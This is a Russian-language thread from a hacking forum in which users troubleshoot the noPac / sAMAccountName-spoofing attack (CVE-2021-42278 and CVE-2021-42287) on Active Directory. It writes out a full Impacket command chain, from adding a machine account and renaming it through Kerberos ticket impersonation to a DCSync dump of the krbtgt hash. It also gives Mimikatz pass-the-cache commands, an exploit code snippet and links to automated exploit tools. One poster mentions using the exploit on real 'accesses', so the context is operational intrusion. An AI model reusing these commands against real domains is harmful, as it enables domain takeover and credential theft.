• XSS.stack #1 – первый литературный журнал от юзеров форума

PrivEsc Вопрос по CVE-2021-42278

wav

(L3) cache
Пользователь
Регистрация
28.07.2020
Сообщения
291
Реакции
46
Ребята подскажите в чём причина. Не могу снять крэды админа. Делаю следующие.

Код:
addcomputer.py -computer-name win10 -computer-pass P@ssw0rd -dc-ip 10.0.0.1 -dc-host SRV01.BAT.local/cas:pass
[*] Successfully added machine account win10$ with password P@ssw0rd1.

renameMachine.py BAT.local/cas:pass -dc-ip 10.0.10.1 -current-name win10$ -new-name DC03$
[*] Modifying attribute (sAMAccountName) of object (CN=win10,CN=Computers,DC=corbat,DC=local): (win10$) -> (DC03$)
[*] Target object modified successfully!

getTGT.py BAT.local/DC03:P@ssw0rd -dc-ip 10.0.0.1
[*] Saving ticket in DC03.ccache

renameMachine.py BAT.local/cas:pass -dc-ip 10.0.0.1 -current-name DC03$ -new-name win10$
[*] Modifying attribute (sAMAccountName) of object (CN=win10,CN=Computers,DC=corbat,DC=local): (DC03$) -> (win10$)
[*] Target object modified successfully!

getST.py -spn cifs/SRV01.BAT.local -additional-ticket DC03.ccache -impersonate administrator BAT.local/win10$:P@ssw0rd
[*] Getting TGT for user
[*] Impersonating administrator
[*]     Using additional ticket DC03.ccache instead of S4U2Self
[*]     Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)
На последней строке ошибка. В чём причина?
 
Удаленный KDC может изменить свой ключ PKCROSS, пока есть активные тикеты PKCROSS, ему СЛЕДУЕТ кэшировать старые ключи PKCROSS до истечения срока действия последнего выданного тикета PKCROSS.
 
Ребят ну не ушто не кто не заморачивался?
Прежде чем использовать уязвимость, ты должен в ней разобраться. Ошибка в синтаксисе. Погугли, на чём основана данная CVE. Здесь никто не будет писать готовые команды. Если это поможет, то получение ошибки KDC_ERR_TGT_REVOKED означает, что TGT, предоставленный контроллеру домена для получения билета, недействителен.
 
билет сохранился как он может быть не действителен. ладно хорошо, может тогда подскажите, если билет -additional-ticket подставляю этой командой, а не через KRB5CCNAME=DС03.ccache python3 getST.py ......... это одно и тоже или же нет?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
r-pass P@ssw0rd -
не могу понять почему тут P@ssw0rd
а ниже в выводе P@ssw0rd1
with password P@ssw0rd1.
не обращал внимание?
да и вообще кажется у тебя команд не хватает
Код:
1. Create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

2. Clear the controlled machine account servicePrincipalName attribute
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

3. (CVE-2021-42278) Change the controlled machine account sAMAccountName to a Domain Controller's name without the trailing $
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

4. Request a TGT for the controlled machine account
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

5. Reset the controlled machine account sAMAccountName to its old value
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

6. (CVE-2021-42287) Request a service ticket with S4U2self by presenting the TGT obtained before
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

7. DCSync
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

Но я рекомендую автоматизированные сплойты типа sam и nopac с гита
https://github.com/WazeHell/sam-the-admin
https://github.com/Ridter/noPac
 
Мужики, всё в порядке?

Во-первых, SPN очищать не обязательно, потому что addcomputer.py создаёт комп с помощью метода SAMR, который создает учетную запись без SPN. Если бы через LDAPS создавался, то тогда пришлось бы чистить.

Во-вторых, вы не замечаете во что переименуется созданный комп? Вас это вообще не смущает?
renameMachine.py -current-name win10$ -new-name DC03$
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController'

Я не претендую на звание эксперта, но подобные посты показывают полное и абсолютное непонимание того, на чем основана уязвимость и как её эксплуатировать. Про готовые скрипты с гитхаба вообще молчу)))) Тогда любого встречного можно хакером назвать - он ведь сумел запустить ехешник, указав параметрами адрес дк и креды юзера)))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мужики, всё в порядке?

Во-первых, SPN очищать не обязательно, потому что addcomputer.py создаёт комп с помощью метода SAMR, который создает учетную запись без SPN. Если бы через LDAPS создавался, то тогда пришлось бы чистить.

Во-вторых, вы не замечаете во что переименуется созданный комп? Вас это вообще не смущает?



Я не претендую на звание эксперта, но подобные посты показывают полное и абсолютное непонимание того, на чем основана уязвимость и как её эксплуатировать. Про готовые скрипты с гитхаба вообще молчу)))) Тогда любого встречного можно хакером назвать - он ведь сумел запустить ехешник, указав параметрами адрес дк и креды юзера)))
что не так в переименовывании? если ты про его значения SRV01 и DC03, то тут понятно что тестовые значения забыл поменять паренек) у него и айпишники dc разные)
и чем тебя не устраивает использование скриптов с гита? я конечно понимаю может тебе хочется всем что то доказать, ведь чем сложнее тем ты трушнее, и тебе по кайфу юзать 7 раз пайтон скрипты(которые кстати так же написаны кем то), вместо одной команды?
 
что не так в переименовывании? если ты про его значения SRV01 и DC03, то тут понятно что тестовые значения забыл поменять паренек) у него и айпишники dc разные)
и чем тебя не устраивает использование скриптов с гита? я конечно понимаю может тебе хочется всем что то доказать, ведь чем сложнее тем ты трушнее, и тебе по кайфу юзать 7 раз пайтон скрипты(которые кстати так же написаны кем то), вместо одной команды?
Нет, он не забыл поменять тестовые значения. Я уже не знаю, как можно более подробно указать на эту ошибку)) А использование всего готового никогда ни к чему хорошему не приводило.
-new-name DC03$
-new-name 'DomainController'


P.S. Если так будет понятнее, то вот это
Код:
-new-name 'DomainController$'
И вот это:
Код:
-new-name 'DomainController'
разные вещи!!!!!
И именно от этого зависит успешность эксплуатации
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Нет, он не забыл поменять тестовые значения. Я уже не знаю, как можно более подробно указать на эту ошибку)) А использование всего готового никогда ни к чему хорошему не приводило.




P.S. Если так будет понятнее, то вот это
Код:
-new-name 'DomainController$'
И вот это:
Код:
-new-name 'DomainController'
разные вещи!!!!!
И именно от этого зависит успешность эксплуатации
так это очевидно, в мануле что я скинул написано черным по белому
Код:
3. (CVE-2021-42278) Change the controlled machine account sAMAccountName to a Domain Controller's name without the trailing $
without the trailing $ - вот оно, визаут это значит БЕЗ
 
При попытке переименовать бе $
Сообщените , что нету прав для выполнения этой операции
[*] Modifying attribute (sAMAccountName) of object (CN=win10,CN=Computers,DC=DOMAIN,DC=LOCAL): (win10$) -> ('DC03')
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)
[-] Could not modify object, the server reports insufficient rights: 00000005: SecErr: DSID-031A1261, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
выхолит из под обычного юзера не работает сплоит? тогда это не сплоит а дерьмо какое то )))
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
-new-name 'DomainController' не переименовывает, ошибку пишет с $ переименовывает.
как быть с KRB5CCNAME='DomainController.ccache' как его вв инде заюзать?
запускаешь мимик, далее
Код:
kerberos::ptc C:\temp\DomainController.ccache
или
Код:
mimikatz.exe "kerberos::ptc C:\temp\DomainController.ccache" exit
При попытке переименовать бе $
Сообщените , что нету прав для выполнения этой операции

выхолит из под обычного юзера не работает сплоит? тогда это не сплоит а дерьмо какое то )))
експлойт на данный момент топ из того что в паблике
я могу ошибаться, но скорее всего тачка не уязвима к CVE-2021-42278, вот например кусок кода из автоматизированного)))) скрипта из гита, ошибка как у тебя
Код:
    if new_machine_dn:
        ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]})
        if ldap_session.result['result'] == 0:
            logging.info(f'{new_computer_name} sAMAccountName == {dc_host}')
        else:
            logging.error('Cannot rename the machine account , target patched')
            if not options.no_add:
                del_added_computer(ldap_session, domain_dumper,new_computer_name)
            return
    else:
        return
 
Пожалуйста, обратите внимание, что пользователь заблокирован
хм... но ведь тачка создаётся, значит и дыра присутствует, али я заблуждаюсь?
и переименовывается в тачку другую но не в юзера.
тачку может создавать любой юзер который авторизован в ад, по дефолту квота 10 иногда 20
уязвимость заключается не в создании тачки)

CVE-2021-42278 - Name impersonation + CVE-2021-42287 - KDC bamboozling
 
Эксплойт ранее работал стабильно. Но уже на некоторых доступах даёт такой результат. Было что-то похожее ранее, но там просто админа на другом языке нужно было прописать, в зависимости от языка системы. Здесь же не проходит. Кто-то подскажет как фиксить? Ноупаком пробиваю. Таргет не пропатчен. Там другая ошибка вовсе
PHP:
[*] Using TGT from cache

[*] Impersonating Administrator

[*]     Requesting S4U2self

[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

[*] Remove ccache of DC.domain.local

[*] Rename ccache with target ...

[-] [Errno 2] No such file or directory: 'Administrator.ccache' -> 'Administrator_DC.domain.local.ccache'
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх